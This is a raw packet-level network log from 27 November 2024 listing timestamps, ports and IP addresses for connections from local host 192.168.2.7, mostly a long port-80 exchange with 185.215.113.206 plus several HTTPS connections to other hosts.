Nov 27, 2024 17:58:56.933336973 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.934031963 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.934108973 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.934165001 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.934206009 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.934861898 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.934926987 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.935041904 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.935226917 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.935726881 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.935790062 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.935847044 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.935937881 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.936609030 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.936683893 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.936738014 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.936779022 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.937418938 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.937480927 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.937567949 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.937621117 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.938460112 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.938533068 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.938551903 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.938791990 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.939337015 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.939349890 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.939412117 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.939968109 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.940054893 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.940056086 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.940188885 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.940795898 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.940937042 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.940994978 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.941643953 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.941879034 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.941962957 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.942488909 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.942550898 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.942703962 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.942744017 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.943345070 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.943443060 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.943505049 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.944163084 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.944257021 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.944257975 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.944390059 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.945002079 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.945014954 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.945080042 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.945918083 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.945950985 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.945986986 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.946012020 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.946674109 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.946724892 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.946809053 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.947568893 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.947607040 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.947654963 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.947668076 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.948421001 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.948561907 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.948652029 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.949244022 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.949335098 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.949496031 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.949567080 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.950046062 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.950262070 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.950294971 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.950340033 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.950979948 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.951018095 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.951075077 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.951724052 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.951842070 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.951890945 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.951936960 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.952588081 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.952696085 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.952754021 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.952792883 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.953454971 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.953552961 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.953582048 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.953594923 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.954276085 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.954332113 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.954385042 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.954596043 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.955142975 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.955252886 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.955276966 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.955317974 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.955961943 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.956015110 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.956039906 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.956079960 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.956779003 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.956832886 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.956887960 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.956927061 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.957663059 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.957756996 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.957784891 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.958031893 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.958472967 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.958508968 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.958534002 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.958570957 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.959414005 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.959425926 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.959498882 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.960196972 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.960258007 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.960417032 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.960458994 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.961071968 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.961149931 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.961327076 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.961905956 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.961946011 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.961962938 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.962088108 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.962733030 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.962784052 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.962810040 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.962829113 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.963530064 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.963625908 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.963690042 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.964442015 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.964490891 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.964546919 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.965337992 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.965423107 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.965476036 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.966116905 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.966218948 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.966309071 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.966358900 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.966979980 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.966996908 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.967027903 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.967050076 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.980179071 CET	443	49892	104.117.182.18	192.168.2.7
Nov 27, 2024 17:58:56.980256081 CET	443	49891	104.117.182.18	192.168.2.7
Nov 27, 2024 17:58:56.980483055 CET	49892	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:58:56.980506897 CET	443	49892	104.117.182.18	192.168.2.7
Nov 27, 2024 17:58:56.980621099 CET	49891	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:58:56.980628967 CET	443	49891	104.117.182.18	192.168.2.7
Nov 27, 2024 17:58:56.981553078 CET	443	49892	104.117.182.18	192.168.2.7
Nov 27, 2024 17:58:56.981628895 CET	49892	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:58:56.981736898 CET	443	49891	104.117.182.18	192.168.2.7
Nov 27, 2024 17:58:56.981786966 CET	49891	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:58:56.982784033 CET	49892	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:58:56.982851982 CET	443	49892	104.117.182.18	192.168.2.7
Nov 27, 2024 17:58:56.982887983 CET	49891	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:58:56.982968092 CET	443	49891	104.117.182.18	192.168.2.7
Nov 27, 2024 17:58:56.983099937 CET	49892	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:58:56.983108997 CET	443	49892	104.117.182.18	192.168.2.7
Nov 27, 2024 17:58:56.983150005 CET	49891	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:58:56.983158112 CET	443	49891	104.117.182.18	192.168.2.7
Nov 27, 2024 17:58:57.027261972 CET	443	49890	104.117.182.18	192.168.2.7
Nov 27, 2024 17:58:57.027580023 CET	49890	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:58:57.027611017 CET	443	49890	104.117.182.18	192.168.2.7
Nov 27, 2024 17:58:57.028728962 CET	443	49890	104.117.182.18	192.168.2.7
Nov 27, 2024 17:58:57.028808117 CET	49890	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:58:57.029264927 CET	49890	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:58:57.029344082 CET	443	49890	104.117.182.18	192.168.2.7
Nov 27, 2024 17:58:57.029743910 CET	49890	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:58:57.029751062 CET	443	49890	104.117.182.18	192.168.2.7
Nov 27, 2024 17:58:57.036147118 CET	49892	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:58:57.036197901 CET	49891	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:58:57.045686960 CET	443	49894	104.117.182.18	192.168.2.7
Nov 27, 2024 17:58:57.046027899 CET	49894	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:58:57.046041012 CET	443	49894	104.117.182.18	192.168.2.7
Nov 27, 2024 17:58:57.047100067 CET	443	49894	104.117.182.18	192.168.2.7
Nov 27, 2024 17:58:57.047166109 CET	49894	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:58:57.047920942 CET	49894	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:58:57.047990084 CET	443	49894	104.117.182.18	192.168.2.7
Nov 27, 2024 17:58:57.048161983 CET	49894	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:58:57.048168898 CET	443	49894	104.117.182.18	192.168.2.7
Nov 27, 2024 17:58:57.068582058 CET	443	49893	104.117.182.18	192.168.2.7
Nov 27, 2024 17:58:57.069442034 CET	49893	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:58:57.069462061 CET	443	49893	104.117.182.18	192.168.2.7
Nov 27, 2024 17:58:57.070516109 CET	443	49893	104.117.182.18	192.168.2.7
Nov 27, 2024 17:58:57.070569992 CET	49893	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:58:57.071109056 CET	49893	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:58:57.071171045 CET	443	49893	104.117.182.18	192.168.2.7
Nov 27, 2024 17:58:57.071692944 CET	49893	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:58:57.071698904 CET	443	49893	104.117.182.18	192.168.2.7
Nov 27, 2024 17:58:57.076553106 CET	443	49895	104.117.182.18	192.168.2.7
Nov 27, 2024 17:58:57.077008009 CET	49895	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:58:57.077017069 CET	443	49895	104.117.182.18	192.168.2.7
Nov 27, 2024 17:58:57.078049898 CET	443	49895	104.117.182.18	192.168.2.7
Nov 27, 2024 17:58:57.078129053 CET	49895	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:58:57.078634024 CET	49895	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:58:57.078694105 CET	443	49895	104.117.182.18	192.168.2.7
Nov 27, 2024 17:58:57.078926086 CET	49895	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:58:57.078933001 CET	443	49895	104.117.182.18	192.168.2.7
Nov 27, 2024 17:58:57.083595991 CET	49890	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:58:57.093214035 CET	443	49875	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:57.093276978 CET	443	49875	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:57.093362093 CET	49875	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:57.093384981 CET	443	49875	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:57.095432043 CET	49875	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:57.095530987 CET	443	49875	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:57.095606089 CET	49875	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:57.096180916 CET	49897	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:57.096239090 CET	443	49897	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:57.096383095 CET	49897	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:57.097127914 CET	49897	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:57.097150087 CET	443	49897	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:57.098269939 CET	49894	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:58:57.114381075 CET	49893	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:58:57.117083073 CET	443	49883	20.110.205.119	192.168.2.7
Nov 27, 2024 17:58:57.117198944 CET	443	49883	20.110.205.119	192.168.2.7
Nov 27, 2024 17:58:57.120135069 CET	49883	443	192.168.2.7	20.110.205.119
Nov 27, 2024 17:58:57.126467943 CET	49883	443	192.168.2.7	20.110.205.119
Nov 27, 2024 17:58:57.126493931 CET	443	49883	20.110.205.119	192.168.2.7
Nov 27, 2024 17:58:57.127832890 CET	443	49876	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:57.127861023 CET	443	49876	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:57.127919912 CET	49876	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:57.127934933 CET	443	49876	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:57.127937078 CET	443	49878	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:57.127949953 CET	443	49876	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:57.128005981 CET	49876	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:57.128526926 CET	443	49884	18.238.49.52	192.168.2.7
Nov 27, 2024 17:58:57.128582001 CET	443	49884	18.238.49.52	192.168.2.7
Nov 27, 2024 17:58:57.128796101 CET	49884	443	192.168.2.7	18.238.49.52
Nov 27, 2024 17:58:57.129720926 CET	49895	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:58:57.130908966 CET	443	49878	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:57.130945921 CET	443	49878	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:57.130975008 CET	49878	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:57.130997896 CET	49878	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:57.131609917 CET	49876	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:57.131625891 CET	443	49876	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:57.131994963 CET	49898	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:57.132026911 CET	443	49898	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:57.132101059 CET	49898	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:57.132539034 CET	49884	443	192.168.2.7	18.238.49.52
Nov 27, 2024 17:58:57.132546902 CET	443	49884	18.238.49.52	192.168.2.7
Nov 27, 2024 17:58:57.132877111 CET	49878	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:57.132882118 CET	443	49878	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:57.133375883 CET	49898	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:57.133388996 CET	443	49898	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:57.133770943 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.133842945 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.133888006 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.134064913 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.134241104 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.134272099 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.134325981 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.135003090 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.135063887 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.135139942 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.135373116 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.135776997 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.135819912 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.136058092 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.136363983 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.136429071 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.136956930 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.137135029 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.137186050 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.137798071 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.137859106 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.137890100 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.138595104 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.138652086 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.138689995 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.138991117 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.139527082 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.139542103 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.139585972 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.139596939 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.140299082 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.140397072 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.140470982 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.141169071 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.141369104 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.141423941 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.141973019 CET	49899	443	192.168.2.7	18.238.49.52
Nov 27, 2024 17:58:57.141994953 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.142003059 CET	443	49899	18.238.49.52	192.168.2.7
Nov 27, 2024 17:58:57.142133951 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.142164946 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.142199993 CET	49899	443	192.168.2.7	18.238.49.52
Nov 27, 2024 17:58:57.142205954 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.142532110 CET	49899	443	192.168.2.7	18.238.49.52
Nov 27, 2024 17:58:57.142541885 CET	443	49899	18.238.49.52	192.168.2.7
Nov 27, 2024 17:58:57.142827988 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.142884016 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.142946005 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.142991066 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.143712044 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.143770933 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.143821001 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.144054890 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.269666910 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.269685984 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.269836903 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.269854069 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.269869089 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.269901991 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.269913912 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.394287109 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.394306898 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.394381046 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.394414902 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.394431114 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.394439936 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.394449949 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.394473076 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.515361071 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.515383959 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.515396118 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.515408039 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.515419960 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.515431881 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.515444040 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.515450001 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.515456915 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.515474081 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.515485048 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.515501976 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.515537024 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.515695095 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.515707970 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.515712976 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.515721083 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.515726089 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.515732050 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.515743017 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.515760899 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.515769958 CET	49850	80	192.168.2.7	185.215.113.206
